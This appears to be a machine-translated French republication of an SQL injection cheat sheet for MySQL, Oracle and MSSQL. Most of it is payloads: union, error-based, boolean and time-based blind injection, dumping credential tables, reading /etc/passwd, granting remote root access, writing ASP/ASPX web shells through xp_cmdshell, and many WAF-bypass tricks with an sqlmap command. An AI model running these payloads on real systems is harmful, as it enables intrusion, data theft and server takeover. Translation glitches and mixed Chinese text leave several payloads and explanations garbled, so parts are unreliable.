Quels sont les types d'injection SQL ?

WBOY
Libérer: 2023-05-18 22:05:12
avant
2075 Les gens l'ont consulté

Preface

Les méthodes d'attaque par injection SQL peuvent être divisées en injection explicite, injection d'erreur et injection aveugle en fonction de l'application traitant le contenu renvoyé par la base de données.

Injection explicite

Un attaquant peut obtenir directement le contenu souhaité dans le contenu actuel de l'interface.

Error injection

Le résultat renvoyé par la requête de la base de données n'est pas affiché sur la page, mais l'application imprime le message d'erreur de la base de données sur la page page, donc un attaquant peut construire une déclaration d'erreur de base de données et obtenir le contenu souhaité à partir du message d'erreur.

Blind Injection

Les résultats de la requête de base de données ne peuvent pas être obtenus à partir de la page intuitive. . Méthode pour obtenir le contenu souhaité.

injection manuelle MySQL

injection de lianhe

?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+

group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+
Copier après la connexion

#🎜🎜 # Injection d'erreur

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
Copier après la connexion
2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
Copier après la connexion
3.updatexml()#🎜 🎜 #
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
Copier après la connexion

4.geometrycollection()

select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));
Copier après la connexion

5.multipoint()

select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));
Copier après la connexion

6.polygon()

select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));
Copier après la connexion

7 . multipolygon()

select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));
Copier après la connexion

8.linestring()

select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));
Copier après la connexion

9.multilinestring()

select \* from test where id=1 and multilinestring((select \* from(select \* from(select user())a)b));
Copier après la connexion

10.exp()

select \* from test where id=1 and exp(\~(select \* from(select user())a));

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema\_name),0x7e) from information\_schema.schemata limit 2,1),1) -- +

爆表:?id=1' and updatexml(1,(select concat(0x7e,(table\_name),0x7e) from information\_schema.tables where table\_schema='security' limit 3,1),1) -- +

爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column\_name),0x7e) from information\_schema.columns where table\_name=0x7573657273 limit 2,1),1) -- +

爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
盲注
Copier après la connexion

Time blind note

Fonction couramment utilisée sleep()

Split function substr, substring, left

#🎜 🎜# Vous n'avez pas besoin de guillemets après avoir codé la fonction split, ascii() hex()

Généralement, pour l'injection aveugle du temps, nous devons également utiliser des fonctions de jugement conditionnel

#🎜 🎜#if (expre1, expre2, expre3 )

Quand expre1 est vrai, renvoie expre2, quand faux, renvoie expre3

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
Copier après la connexion

Injection aveugle booléenne#🎜🎜 #

?id=1' and substr((select user()),1,1)='r' -- +

?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

//如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +

//若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
insert,delete,update
Copier après la connexion
#🎜 🎜#Ce type d'injection apparaîtra dans l'enregistrement, l'en-tête IP, le forum de messages, etc. où les données doivent être écrites. Par exemple, l'utilisation de sqlmap générera beaucoup de données inutiles.

Essayer d'insérer, de citer, de doubler des guillemets, de transférer des symboles empêchent l'instruction de s'exécuter normalement, et si l'insertion échoue, la mise à jour échoue, puis des tests approfondis sont effectués pour déterminer s'il y a une injection Deuxième injection et injection d'octets larges

Deuxième injection :


Dans l'instruction sql sans guillemets simples, effectuez un encodage hexadécimal pour qu'il n'y ait pas guillemets simples

Injection d'octets larges :

Les guillemets simples sont échappés sous la forme ' , mysql l'encodera en %5c. L'octet représente un caractère chinois, alors ajoutez %df à %5c. Devenu un caractère chinois "chance", contournant ainsi l'échappement

Oracle manual injection

lian.合Injection


?id=-1' union select user,null from dual--

?id=-1' union select version,null from v$instance--

?id=-1' union select table\_name,null from (select \* from (select rownum as limit,table\_name from user\_tables) where limit=3)--

?id=-1' union select column\_name,null from (select \* from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=2)--

?id=-1' union select username,passwd from users--

?id=-1' union select username,passwd from (select \* from (select username,passwd,rownum as limit from users) where limit=3)--
Copier après la connexion
# 🎜🎜#ErrorInjection
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select table\_name from (select rownum as limit,table\_name from user\_tables) where limit= 3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select column\_name from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
Copier après la connexion

Boolean Blind Note
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--

?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--

?id=1' and ascii(substr(user,1,1))> 64--
Copier après la connexion
# 🎜🎜#Heure Blind Note

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--

?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--
Copier après la connexion

Injection manuelle SQL

Juger si le point d'injection existe#🎜 🎜#

Injection numérique#🎜🎜 #

Après l'url, saisissez et 1=1
et 1=2#🎜 🎜#

Si les retours sont différents, vous pouvez déterminer si le point d'injection existe 🎜#http://www.xxx.cn/news.php?p=1&id=4 et 1=1 renvoie correct#🎜🎜 #

http://www.xxx.cn/news.php?p =1&id=4 et 1=2 Erreur de retour

Injection de personnage

#🎜 🎜#

et entrez

' et 1=1 et '1'='1

' et 1=2 et '1'='1#🎜 🎜#

http://www.xxx.cn/news.php?p=1&id=4' Erreur de retour

http://www.xxx.cn/news.php? p=1&id=4' et 1=1 et '1'='1 Return Correct

http://www.xxx.cn/news.php?p=1&id=4' et 1= 2 et '1'='1 Erreur de retour

Search injection

Entrez ' dans la zone de saisie et renvoie l'erreur

x%' et 1=1 et '%'=' renvoie le correct

x%' et 1=2 et '%'=' renvoie l'erreur # 🎜🎜#Juger le nombre de champs

type numérique#🎜🎜 #

http://www.xxx.cn/news.php?p=1&id=4 commander par 26 retour correct

http://www.xxx.cn/news.php ?p=1&id=4 commander par 27 renvoie une erreur

Conclusion : champ numéro 26.

Type de caractère

http://www.xxx.cn/news.php?p=1&id=4' commande avant le 26 #Retour à corriger# 🎜 🎜#http://www.xxx.cn/news.php?p=1&id=4' commande avant le 27 # Erreur de retour

Conclusion : champ numéro 26.

Type de recherche

x%' commande avant le 26 # Retour correct

x%' commande avant le 27 # Erreur de retour
#🎜 🎜#Conclusion : Le nombre de champs est de 26.

Recherche de champs affichables

Type de numéro

http://www.xxx.cn/news.php?p=1&id=4 et 1=2 union sélectionnez 1,2,3,4,5,6,7,8,9,....

Type de caractère

http://www.xxx.cn /news.php?p=1&id=4' et 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

Type de recherche

x%' et 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

Vérifier la base de données Nom

Type de numéro

http://www.xxx.cn/news.php?p=1&id=4 et 1=2 union select 1, 2,base de données(),4,5,6,7,8,9,....

Type de caractère

http://www.xxx.cn/ news.php?p=1&id=4' et 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #

Recherche Tapez

x%' et 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #

#🎜🎜 #Vérifiez le nom de la table dans la base de données

Type de numéro

http://www.xxx.cn/news.php?p=1&id=4 et 1 = 2 union sélectionnez 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 depuis information_schema.tables où table_schema='database nom'

Le nom de la base de données peut également utiliser l'hexadécimal

Type de caractère

http://www.xxx.cn/news.php?p=1&id=4' et 1=2 union select 1,group_concat(table_name),3 ,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17 de information_schema.tables où table_schema='database name' #

Le nom de la base de données peut également utiliser un Make hexadécimal

type de recherche

X%' et 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables où table_schema='database Name' #

Le nom de la base de données peut également être hexadécimal
Le nom de la colonne dans la table de recherche

numérique

http://www.xxx.cn/news.php?p=1&id=4 et 1 =2 union select 1 ,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 de information_schema.columns où table_name='nom de la table '

La table le nom peut également utiliser un type de caractère hexadécimal

http://www.xxx.cn/news.php?p=1&id=4' et 1=2 union select 1,group_concat(column_name) ,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17 de information_schema.columns où table_name='table name' #

Le nom de la table peut également être utilisé en hexadécimal

type de recherche

x%' et 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns où table_name= 'Nom de la table' #

La table le nom peut également utiliser l'hexadécimal

Recherchez les données dans le tableau
Type numérique

http://www.xxx.cn/news.php?p=1&id=4 et 1=2 union select 1,group_concat( nom d'utilisateur, mot de passe),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 du nom de la table

Type de caractère

http://www.xxx .cn/news.php?p=1&id=4' et 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9 ,10,11,12,13, 14,15,16,17 à partir du nom de la table#

type de recherche

x%' et 1=2 union select 1,2,group_concat(username,password),4,5, 6,7,8,9,. ... à partir du nom de la table#

Afficher la version : sélectionner la version();

Afficher le jeu de caractères : sélectionner @@character_set_database ;

Afficher les bases de données afficher les bases de données ;

Afficher le nom de la table : afficher les tables;

Afficher le nom de l'ordinateur : sélectionnez @@hostname ;

Affichez la version du système : sélectionnez @@version_compile_os ;

Affichez le chemin mysql : sélectionnez @@basedir;

Affichez le chemin de la base de données : sélectionnez @@datadir;

affichez le mot de passe root : sélectionnez Utilisateur, Mot de passe depuis mysql .user;

Ouvrir une connexion externe : ACCORDER TOUS LES PRIVILÈGES SUR . À 'root'@'%' IDENTIFIÉ PAR '123456' AVEC L'OPTION GRANT;

Utilisation de la fonction MySQL


MySQL fournit la fonction load_file () qui peut aider les utilisateurs à lire rapidement les fichiers, mais l'emplacement du fichier doit être sur le serveur, le chemin du fichier doit être un chemin absolu et les autorisations root sont requises

L'instruction SQL est la suivante : union select 1,load_file('/etc/passwd') ,3,4 ,5 #

Habituellement, certaines instructions anti-injection n'autorisent pas l'apparition de guillemets simples, vous pouvez donc utiliser l'instruction suivante pour contourner :

union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #

Oui Le chemin est converti en hexadécimal.

Injection manuelle MSSQL
Différent de l'injection SQL, SQL exploite les champs affichés et MSSQL exploite l'injection d'erreurs pour insérer des instructions SQL malveillantes afin que la requête signale une erreur. Dans l'erreur signalée, il affiche les informations requises que nous voulons. .

Point d'injection :

www.xxx.cn/xxx/xxx.aspx?id=1

Requête de la version de la base de données
@@version : variable globale MSSQL, indiquant les informations sur la version de la base de données.

Déclaration de test :

http://www.xxx.cn/xxx/xxx.aspx?id=1 et @@version>0

Remarque : "et @@vsersion>0" peut également être écrit comme " et 0" /@@version>0"

Message d'erreur :

La valeur nvarchar est 'Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) 19 août 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64 bits) sur Windows NT 6.1

Raison :

@@version est une variable globale de MSSQL Si nous ajoutons "et @@version>0" après "?id=1", alors l'instruction après "et" sera "@@version". capture a été forcée de passer au type int et comparée à 0, mais la conversion de type a échoué, les informations de la base de données ont donc été exposées.

Requérez le nom de l'ordinateur
@@servername : variable globale MSSQL, représentant le nom de l'ordinateur.

Message d'erreur :

Échec de la conversion de la valeur nvarchar 'WINDOWS-XXXXXX' en type de données int.

Requête du nom de la base de données actuelle
db_name() : Le nom de la base de données actuellement utilisé.

Message d'erreur :

Échec de la conversion de la valeur nvarchar « abc » en type de données int.

Interroger l'utilisateur actuellement connecté à la base de données
User_Name() : L'utilisateur actuellement connecté à la base de données.

Message d'erreur :

Échec de la conversion de la valeur nvarchar 'dbo' en type de données int.

Remarque : si vous voyez dbo, alors la plupart des utilisateurs actuels de la base de données ont l'autorité dba.

Requérez d'autres noms de bases de données
Découvrez d'autres bases de données :

http://www.xxx.cn/xxx/xxx.aspx?id=1 et (SELECT top 1 Name FROM Master..SysDatabases)>0

Message d'erreur :

Échec lors de la conversion de la valeur nvarchar « master » en type de données int.

Les autres bases de données sont écrites comme ceci :

http://www.xxx.cn/xxx/xxx.aspx?id=1 et (SELECT top 1 Name FROM Master..SysDatabases où le nom n'est pas dans ('master' ))>0

Si vous continuez, écrivez comme ceci :

http://www.xxx.cn/xxx/xxx.aspx?id=1 et (SELECT top 1 Name FROM Master..SysDatabases où le nom n'est pas in ('master', 'abc'))>0
Requérez le nom de la table dans la base de données

Vérifiez le nom de la table :

http://www.xxx.cn/xxx/xxx.aspx ?id= 1 et (sélectionnez le premier nom dans abc.sys.all_objects où type='U' AND is_ms_shipped=0)>0

Message d'erreur :

Échec de la conversion de la valeur nvarchar 'depart' en type de données int.

Explorez d'autres tables :

http://www.xxx.cn/xxx/xxx.aspx?id=1 et (sélectionnez le premier nom dans abc.sys.all_objects où type='U' AND is_ms_shipped=0 et nom pas dans ("départ"))>0

Continuer :

http://www.xxx.cn/xxx/xxx.aspx?id=1 et (sélectionner le premier nom dans abc.sys. all_objects où type='U' AND is_ms_shipped=0 et name not in ('depart','worker'))>0
Requérez le nom de la colonne ou le nom du champ dans la table

Vérifiez le nom du champ :

http : //www.xxx.cn/xxx/xxx.aspx?id=1 et (sélectionnez la première COLUMN_NAME de abc.information_schema.columns où TABLE_NAME='depart')>0

Message d'erreur :

Dans la conversion nvarchar de la valeur 'ID' au type de données int a échoué.

Explorez d'autres champs :

http://www.xxx.cn/xxx/xxx.aspx?id=1 et (sélectionnez la première COLUMN_NAME dans abc.information_schema.columns où TABLE_NAME='depart' et COLUMN_NAME non in('ID'))>0

Continuer :

http://www.xxx.cn/xxx/xxx.aspx?id=1 et (sélectionner la première COLUMN_NAME dans abc.information_schema.columns où TABLE_NAME= 'depart' et COLUMN_NAME pas dans ('ID','NAME'))>0
Données explosives

Données de requête :

http://www.xxx.cn/xxx/xxx.aspx ? 1 et (sélectionnez le premier mot de passe du départ)>0

Message d'erreur :

Échec de la conversion de la valeur nvarchar 'B5A1EF8730200F93E50F4F5DEBBCAC0B' en type de données int.
Écrivez une phrase cheval de Troie

Si l'autorisation de données est dba et connaissez le chemin absolu du site Web, alors nous pouvons utiliser cette déclaration pour écrire une phrase cheval de Troie :

asp cheval de Troie :

http://www .xxx .cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>'' " > ; d:KfSitekaifeng2.asp'--

aspx Cheval de Troie :

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE= Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:inetpubwwwroot2.aspx' --

Le principe est que le serveur SQL prend en charge les requêtes empilées, en utilisant xp_cmdshell peut exécuter la commande cmd. Utilisez [echo content>file] dans la commande cmd pour écrire des fichiers sur le disque.
Utilisez le codage hexadécimal pour contourner WAF

http://www.xxx.com/xxx/xxx.aspx?username=xxx Utilisez "HEX Encoding" sous Encodage de l'outil hackbar dans Firefox pour encoder facilement la chaîne dans Vous pouvez utiliser hex, puis utilisez l'injection d'erreur pour injecter dans ce site Web.
Explorez la version de la base de données

sélectionnez convert(int,@@version)

encodage hexadécimal : 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29

Ensuite, utilisez la méthode suivante pour injecter :

http://www.xxx.com/xxx/xxx. aspx? username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–

Message d'erreur :

Dans la valeur de caractère nvar 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 2 avril 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64 bits) sur Windows NT 6.1 (Build 7601 : Service Pack 1) (Hyperviseur)' La conversion en type de données int a échoué.

Faites attention à l'instruction d'injection suivante :

dEcLaRe @s vArChAr(8000) //Déclarez une variable locale @s, tapez varchar(8000)

sEt @s=0x73656c65637420636f6e7665727428696e742c404076 65727 3696f6e29 //Attribuer une valeur à @s , "select convert (int,@@version)" encodage hexadécimal

eXeC(@s) //Appelez la fonction exec() pour exécuter le contenu dans "@s".
Exploser la base de données actuelle

select convert(int,db_name())
Explode l'utilisateur actuel

select convert(int,User_Name())
Explode

select convert(int,(select top 1 nom de abc[nom de la base de données].sys.all_objects où type='U' ET is_ms_shipped=0)) sélectionnez convert(int,(sélectionnez le premier nom de abc[nom de la base de données].sys.all_objects où type='U' ET is_ms_shipped=0 et le nom n'est pas dans ('CMS_ArticleClass')))
Champ éclaté

select convert(int,(sélectionnez la première COLUMN_NAME de abc[nom de la base de données].information_schema.columns où TABLE_NAME='CMS_Userinfo[table name]')) select convert(int,(sélectionnez la première COLUMN_NAME de abc[base de données ] nom].information_schema.columns où TABLE_NAME='CMS_Userinfo[table name]' et COLUMN_NAME pas dans ('id')))
Données explosives

select convert(int,(sélectionnez le premier nom d'utilisateur de CMS_Admin)) select convert(int,(sélectionnez le premier mot de passe de CMS_Admin))
Conseils de questions et réponses sur l'injection SQL#🎜 🎜##🎜 🎜#1.id-1, si la page renvoie la bonne page, cela signifie qu'il y a injection, puis-je +1 ? (www.test.com/xsn.php?id=12+1)

Non, car le signe plus signifie un espace dans l'URL.

2. Savez-vous combien il y a d'annotations dans MySQL ?

Trois types : ①.# Ce commentaire est jusqu'à la fin de la ligne ; ②./Commentaires sur plusieurs lignes/ ③.–+ Ce commentaire est jusqu'à la fin de la ligne.

La troisième méthode nécessite quelques explications car je n'étais pas familier avec cette façon d'écrire auparavant. Même si j'ai encore quelques impressions de « - » comme caractère de commentaire, « -+ » me donne mal à la tête. En fait, c'est -, veuillez noter qu'il y a un espace après -. Si vous entrez des espaces directement dans l'URL, le navigateur l'ignorera automatiquement et ne parviendra pas à le transmettre à la base de données. Je l'ai donc spécifiquement remplacé par un signe plus.

3. "select select * from admin" peut-il être exécuté ? Sinon, veuillez expliquer.

Ne peut pas être exécuté. Lorsque vous utilisez la sélection d'une double couche, vous devez joindre la seconde, sinon elle sera invalide.

Si des espaces sont filtrés, savez-vous comment le contourner ? Ou savez-vous quels caractères peuvent remplacer les espaces ? Ces caractères sont appelés caractères d'espacement. Par exemple, une union sera traitée comme un syndicat. Si les espaces sont filtrés, l'éventuelle instruction sql deviendra : select from messages which uid=45or1=1, on peut utiliser // pour remplacer les espaces : http://www.xxx.com/index.php?id= 45 //ou/**/1=1 De plus : %09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/ peut remplacer les espaces.

5. Quelles sont les autorisations de la base de données Oracle sous Windows ? La base de données Oracle sous Windows doit être exécutée avec les autorisations système.

6. Quelle est la différence entre l'injection SQL et l'injection SQL aveugle ?

Dans l'injection SQL régulière, l'application renvoie les données dans la base de données et vous les présente, mais dans la vulnérabilité d'injection SQL aveugle, vous ne pouvez obtenir que deux valeurs correspondant aux conditions vraies et fausses dans l'injection. Pour différentes réponses, l'application renverra des valeurs différentes pour les conditions vraies et fausses, mais l'attaquant ne pourra pas récupérer les résultats de la requête.

7. Quelles sont les principales causes des vulnérabilités d'injection SQL ?

Un examen inadéquat des données fournies par les utilisateurs par les applications Web et l'échec de l'encodage de la sortie sont les principales causes des problèmes.

8. Qu'est-ce qu'une requête empilée ?

Dans une seule connexion à une base de données, plusieurs séquences de requêtes sont exécutées. Le fait que les requêtes empilées soient autorisées est l'un des facteurs importants qui déterminent si les vulnérabilités d'injection SQL peuvent être exploitées.

Dans MYSQL, les membres SELECT * FROM; DROP peuvent être exécutés. La base de données prend certainement en charge les requêtes empilées, mais il n'est peut-être pas possible de laisser PHP exécuter les instructions SQL des requêtes empilées.

/*...*/

Qu'est-ce que ça veut dire ?

Spécifique à la base de données MYSQL, si vous ajoutez un point d'exclamation au début d'un commentaire suivi du numéro de version de la base de données, alors le commentaire sera analysé en code tant que la version de la base de données est supérieure à ou égal à celui contenu dans la version commentaire, le code sera exécuté.

select 1 /!40119 + 1/

Le résultat de la requête :

Return 2 (la version MySQL est 4.01.19 ou supérieure)# 🎜 🎜#

Retour 1 (autres cas)

10. Et si le '=' dans l'instruction d'injection est filtré ?

Vous pouvez envisager d'utiliser le remplacement du mot-clé like : union select password from users which username like admin

11. Pensez à utiliser '/**/'Remplacement :

union/

/select/

/password/

/from//users//where/# 🎜🎜#/username//like//admin;Notez que si les mots-clés sont filtrés, les commentaires en ligne peuvent également être utilisés dans les mots-clés dans MySQL. Pour contourner : #🎜 🎜#uni//on//sel//ect//password//fr//om//users//wh//ere//username//like//admin #🎜; 🎜#12. '+' dans l'injection SQL ?

MSSQL : Dans MSSQL, l'opérateur "+" est utilisé pour les opérations de concaténation et d'addition de chaînes, '1'+'1'='11', 1+1=2 #🎜🎜 ##; 🎜🎜#MySQL : Dans MySQL, l'opérateur "+" n'est utilisé que pour les opérations d'addition, '1'+'1'='2', 1+1=2;

Oracle : Dans Oracle ; , l'opérateur "+" n'est utilisé que pour les opérations d'addition, '1'+'1'='2', 1+1=2.

13. Quels sont les connecteurs pour les chaînes dans la base de données ?

MSSQL : 'a'+'b'='ab'

MYSQL : 'a' 'b'='ab'

Oracle :'a'||'b'='ab'

14. Symbole de commentaire

MSSQL : '-- ' (notez l'espace après), '/. ./'

MySQL : '-- ','# ','/.../', notez qu'il doit y avoir un ou plusieurs espaces après --.

Oracle : '-- ','/.../'

Dans les trois bases de données, le caractère de commentaire commun est '-- '

#🎜 🎜#Contournement WAF

Contournement du niveau de règle

Contournement des commentaires SQL

union/**/select
union/aaaa%01bbs/select
union/aaaaaaaaaaaaaaaaaaaaaaaaaa/select dans Even commentaires : /!xxxx/
Contournement des espaces blancs :

MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/

正则的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-1:union%25A0select
函数分隔符号:

concat%2520(

concat/**/(

concat%250c(

concat%25a0(
浮点数词法分析:

select * from users where id=8E0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select

1,2,3,4,5,6,7,8,9,0
利用error_based进行SQL注入:

Error-based SQL注入函数非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

GeometryCollection((select * from (select * from

(select@@version)f)x))

polygon((select*from (select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()
Copier après la connexion

MySQL特殊语法

select{x table_name}from{x information_schema.tables};
每一个点都能找到绕过的方法

以注释绕过为例子,开始Fuzz

注释符绕过:

*先测试最基本的: union/**/select

*再测试中间引入特殊字:union/aaaa%01bbs/select

*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select

最基本的模式:

union/something/select

大小写绕过

即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。

例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。
常规绕过手段
双写绕过

如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。

例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。
编码绕过

可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。

http://tool.chinaz.com/Tools/urlencode.aspx 1
内联注释绕过

在Mysql中内容注释中的内容可以被当做SQL语句执行。
绕过过滤and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小写不敏感,大写和小写一样。

2、Mysql中的十六进制与URL编码。

3、符号和关键字替换 and --> &&、or --> ||

4、内联注释与多行注释 /!内联注释/ /多行注释/。

5、Mysql中会自动识别URL与Hex编码好的内容。

绕过策略:

1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。

2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr

3、利用符号替代 and–>&&、or–>||
绕过去除空格的SQL注入

编码:hex,urlencode

空格URL编码:

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

Sqlmap安全检测:

sqlmap -u “URL” --hex --dbs --batch
绕过去除(union和select)的SQL注入

编码%0a、加入/**/符,union/select大小写、双写等绕过。

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
sql
source:yisu.com
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal